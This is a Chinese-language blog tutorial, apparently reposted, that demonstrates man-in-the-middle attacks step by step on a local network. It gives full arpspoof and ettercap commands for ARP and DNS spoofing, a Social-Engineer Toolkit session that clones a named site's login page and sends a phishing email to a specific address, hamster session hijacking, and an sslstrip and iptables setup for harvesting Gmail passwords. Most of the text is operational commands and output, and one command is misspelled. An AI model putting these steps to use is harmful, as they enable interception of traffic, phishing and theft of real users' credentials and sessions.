中间人攻击之arp欺骗 科普ARP欺骗
中间人攻击之arp欺骗
科普ARP欺骗
此时若hacker冒充B的MAC,于是A -> hacker。
(1)如何清空A中的ARP Table?不然它一查询,直接发包给B。
- 经过百度:
- ARP Table采用老化机制,某一行一段时间不用就被删除,提速。
- hacker大量发ARP包产生大量ARP通信量使通络堵塞,A就找不到B,A必然会发ARP Request包问:B是谁,
- 此时hacker的伪造包,也就改变了A中的ARP Table。
(2)如何保证在B前响应A的请求查询?
- 因为(1)中已经提到,局域网中充斥着大量hacker伪造B的ARP响应包,B竞争不过hacker,所以hacker会比B更快响应。
科普BT5下arpspoof 和 driftnet 和 wireshark
- A(192.168.0.1) <-> B(192.168.0.109)
- A’s MAC: 00-0C-29-7A-33-66
- B’s MAC: 34-08-04-0B-70-E8
- 192.168.0.108
- hacker’s MAC: 00:0c:29:0a:ab:97
- A -> hacker -> B
- A <- hacker <- B
- echo 1 > /proc/sys/net/ipv4/ip_forword
- #欺骗192.168.0.109,hacker就是192.168.0.1:
- root@bt:~# arpspoof -i eth0 -t 192.168.0.109 192.168.0.1
- #欺骗192.168.0.1,hacker就是192.168.0.109:
- root@bt:~# arpspoof -i eth0 -t 192.168.0.1 192.168.0.109
- driftnet -i eth0
使用wireshark抓取数据包:
- root@bt:~# wireshark
- ip.addr==192.168.0.109 and
- ip.src==192.168.0.109 and
- ip.dst==192.168.0.109
- tcp.port == 80
过滤协议:
- http or telnet
科普DNS欺骗:
- DNS劫持!
- DNS劫持是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能反应或访问的是假网址。
攻击步骤:
1. 采用ettercap,arp 欺骗
- echo 1 > /proc/sys/net/ipv4/ip_forword
- root@bt:~# ettercap -G #启动可视化
- Sniff -> Unified Sniffing
- Eth0 -> OK
- Hosts -> Scan for hosts
- Hosts -> Hosts List
- Add to target1 -> 192.168.0.1 #网关
- Add to target2 -> 192.168.0.111 #受攻击者
- Mitm -> Arp poisoning
- Start -> Start sniffing
在受攻击者中发现已经arp欺骗成功(欺骗192.168.0.111,192.168.0.108是网关192.168.0.1):
2. 修改etter.dns 文件
- root@bt:/usr/share# locate etter.dns
- /usr/local/share/ettercap/etter.dns
- /usr/local/share/videojak/etter.dns
- root@bt:/usr/share# gedit /usr/local/share/ettercap/etter.dns
这么修改:
3. 开始dns+spoof
- ettercap -> Plugins -> Mange the plugins
- 双击 dns_spoof 出现:Activating dns_spoof plugin..
- 等一段时间。。.(十分钟之内吧。。)
4. SET社会工程学攻击
- http://www.xigema-team.org/wp-login.php
- root@bt:~# cd /pentest/exploits/set/
- root@bt:/pentest/exploits/set# ./set
- Select from the menu:
- 1) Social-Engineering Attacks
- 2) Fast-Track Penetration Testing
- 3) Third Party Modules
- 4) Update the Metasploit Framework
- 5) Update the Social-Engineer Toolkit
- 6) Update SET configuration
- 7) Help, Credits, and About
- 99) Exit the Social-Engineer Toolkit
- set> 1
- Select from the menu:
- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Generator Attack Vector
- 10) Powershell Attack Vectors
- 11) Third Party Modules
- 99) Return back to the main menu.
- set> 2
- Select from the menu:
- 1) Java Applet Attack Method
- 2) Metasploit Browser Exploit Method
- 3) Credential Harvester Attack Method
- 4) Tabnabbing Attack Method
- 5) Man Left in the Middle Attack Method
- 6) Web Jacking Attack Method
- 7) Multi-Attack Web Method
- 8) Victim Web Profiler
- 9) Create or import a CodeSigning Certificate
- 99) Return to Main Menu
- set:webattack>3
- The first method will allow SET to import a list of pre-defined web
- applications that it can utilize within the attack.
- The second method will completely clone a website of your choosing
- and allow you to utilize the attack vectors within the completely
- same web application you were attempting to clone.
- The third method allows you to import your own website, note that you
- should only have an index.html when using the import website
- functionality.
- 1) Web Templates
- 2) Site Cloner
- 3) Custom Import
- set:webattack>2
- [-] Credential harvester will allow you to utilize the clone capabilities within SET
- [-] to harvest credentials or parameters from a website as well as place them into a report
- [-] This option is used for what IP the server will POST to.
- [-] If you’re using an external IP, use your external IP for this
- set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.108
- [-] SET supports both HTTP and HTTPS
- [-] Example: http://www.thisisafakesite.com
- set:webattack> Enter the url to clone:http://www.xigema-team.org/wp-login.php
- [*] Cloning the website: http://www.xigema-team.org/wp-login.php
- [*] This could take a little bit…
- The best way to use this attack is if username and password form
- fields are available. Regardless, this captures all POSTs on a website.
- [!] I have read the above message.
- Press <return> to continue
- [*] Social-Engineer Toolkit Credential Harvester Attack
- [*] Credential Harvester is running on port 80
- [*] Information will be displayed to you as it arrives below:
- 在网站克隆的时候,需要注意点就是,大网站如gmail.com,mail.qq.com直接clone会失败。
- 因为这些网站的js代码会探测是否是正常环境并跳转链接。.。
- 如果手工下载网页,对JS代码做一些修改。。
- 盗密码果然需要麻烦一些:内网+改页面代码。。
- 当然,BT5也集成了5个模板:gmail,facebook,twitter,google,java required(这是啥?)
- 可是使用gmail的时候,竟然因为cookie被禁用而error,其实不是cookie被禁用,而是里面有一段保护的js代码!
- Select from the menu:
- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Generator Attack Vector
- 10) Powershell Attack Vectors
- 11) Third Party Modules
- 99) Return back to the main menu.
- set> 5
- Social Engineer Toolkit Mass E-Mailer
- There are two options on the mass e-mailer, the first would
- be to send an email to one individual person. The second option
- will allow you to import a list and send it to as many people as
- you want within that list.
- What do you want to do:
- 1. E-Mail Attack Single Email Address
- 2. E-Mail Attack Mass Mailer
- 99. Return to main menu.
- set:mailer>1
- set:phishing> Send email to:xihuanjiechun@qq.com
- 1. Use a gmail Account for your email attack.
- 2. Use your own server or open relay
- set:phishing>1
- set:phishing> Your gmail email address:xihuanjianguo@gmail.com
- Email password:
- set:phishing> Flag this message/s as high priority? [yes|no]:y
- set:phishing> Email subject:change your password from xigema-team.org
- set:phishing> Send the message as html or plain? ‘h’ or ‘p’ [p]:h
- set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:<a>www.xigema-term.org/wp-login.php</a> change your password!
- Next line of the body: ^C
- [*] SET has finished sending the emails
邮件收到:
中间人攻击之会话劫持
科普会话劫持
科普hamster的攻击流程
- root@bt:~# locate hamster
1. 先用ettercap进行ARP欺骗
2. 开启wireshark,抓包,保存为pcap
3. ferret 分析包
- root@bt:/pentest/sniffers/hamster# ./ferret -r /root/Desktop/baidu.pcap
它就创建一个叫hamster.txt的文件,以便hamster进行真正的会话劫持~
- root@bt:/pentest/sniffers/hamster# ls
- favicon.ico ferret hamster hamster.css hamster.js hamster.txt
4.配置网络代理
- firefox -> edit -> preferences -> Advanced -> Network -> Connection Setting
- 配置为1234端口监听
如下图所示:
5. hamster 发起会话劫持
- 遇到gmail又一次失败,连接不到服务器!
- 换成百度网盘则成功,这里我猜想,gmail不全是靠cookie验证~
- 而且,即使我们的受攻击者,关闭了百度网盘,在BT5下,也是劫持成功的!
中间人攻击之SSL会话劫持
科普SSL会话
- How does this work?
- First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
- At this point, sslstrip receives the traffic and does its magic.
其实就是在进行HTTPS之前,把它换成HTTP连接,此时就明文探测到了用户名和密码!
科普SSLstripg攻击流程:
1.开启路由转发功能
- root@bt:~# echo “1″ > /proc/sys/net/ipv4/ip_forward
吐槽:
- 这个太坑爹了,每次重启都得来一次。以为它是固定的,然后出错了,各种没头绪呢,网上的资料太少了。
- 大家每次重启后,一定要记得开启啊!!
2.设置iptables
- root@bt:/pentest/web/sslstripiptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
前面都是固定的,后面–to-ports 加个端口即可!
- 如此一来,就把受攻击机上的来自80端口的流量全部导入10000端口,此时,受攻击机器,应该是上不了网的。
- 但是可以ping 通。
3.SSLstrip 监听 10000端口
- root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
这里把记录放入/pentest/web/sslstrip/log.txt中,在里面查看用户名和密码即可。
- -l 是监听
- -p 是只记录SSL PORT的内容
4. log.txt获取gmail用户名,密码
- root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
- sslstrip 0.9 by Moxie Marlinspike running…
- Unhandled Error
- Traceback (most recent call last):
- File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 84, in callWithLogger
- return callWithContext({“system”: lp}, func, *args, **kw)
- File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 69, in callWithContext
- return context.call({ILogContext: newCtx}, func, *ar
这个东西出错了没关系,照样能获取密码!!!
摘自http://www.backlion.com/%E5%88%9D%E6%8E%A2mitm%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/
中间人攻击之arp欺骗 科普ARP欺骗的更多相关文章
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- 中间人攻击工具ettercap
中间人攻击工具ettercap (一).简介 (二).模块划分 1.Snifer 2.MITM 3.Filter 4.Log 5.Plugin (三).特性 (四).用户操作界面 (五).指定目标 ( ...
- 中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- Linux下中间人攻击利用框架bettercap测试
0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...
- ARP欺骗与中间人攻击
前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...
- 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )
一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...
- 中间人攻击——ARP欺骗的原理、实战及防御
1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 A ...
- 【网络编程4】网络编程基础-ARP响应(ARP欺骗之中间人攻击)
arp欺骗->arp响应 ARP 缓存中毒(ARP欺骗) arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址:收到返回消 ...
- ARP欺骗与MITM(中间人攻击)实例
ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析 ...
随机推荐
- ASP.net导出EXCEL乱码?试试这个
网上的方法有说加meta的,是有用,不过,不够直接, 甭管你asp文件是utf-8还是gb2312,加入下面两句就搞掂: response.Charset="GB2312" ses ...
- Android Studio之could not reserve enough space for object heap
在用AndroidStudio时出现这样的错误: 每次创建工程后,在项目文件 gradle.properties文件中加入如下代码: org.gradle.jvmargs=-Xmx512m -XX: ...
- Css样式之overflow
1:overflow属性的可能取值有4种:visible,hidden,scroll,和auto 1) visible:不裁剪溢出的内容.浏览器将把溢出的内容呈现在其容器的显示区域之外,全部内容都可见 ...
- Java用DOM操作xml
JAXP DOM方式解析XML文档实例增删改查package jiexi; import javax.xml.parsers.DocumentBuilder; import javax.xml.par ...
- C# MD5 16进制MD5对称加密法
/// <summary> /// MD5 16进制算法 /// </summary> /// <param name="str"></p ...
- LSJ_NHibernate第一章 NHibernate介绍
前言: 说起NHibernate网上资料真不少,但用的人却并不多,说起java的SSH框架大家可能就知道了,这里的H指的就是Hibernate,一款好用的ORM框架,在.net重写了这款好用的框架,名 ...
- (转)C#中的Dictionary字典类介绍
关键字:C# Dictionary 字典 作者:txw1958原文:http://www.cnblogs.com/txw1958/archive/2012/11/07/csharp-dictionar ...
- IOS动态修改按钮响应时间
在项目开发中我们可能会遇到这样子的情况,比如在我们登陆的时候需要把数据发送给服务器进行比对,通常我们的做法是当用户点击按钮后,使用一个加载效果的view遮挡住当前界面,直到服务器返回数据或者超时.如果 ...
- C语言程序设计概述
1 概论 1972年Dennis Ritchie发明了C语言,而后Dennis Ritchie又使用C语言重写了Unix系统,自那以后C语言逐渐受到了全世界大多数编程爱好者的喜爱,后期的主流操作系统L ...
- 关于web开发的一点理解
对于web开发上的一点理解 1 宏观上的一点理解 网页从请求第地址 到获得页面的过程:从客户端(浏览器)通过地址 从soket把请求报文封装发往服务端 服务端通过解析报文并处理报文最后把处理的结果 ...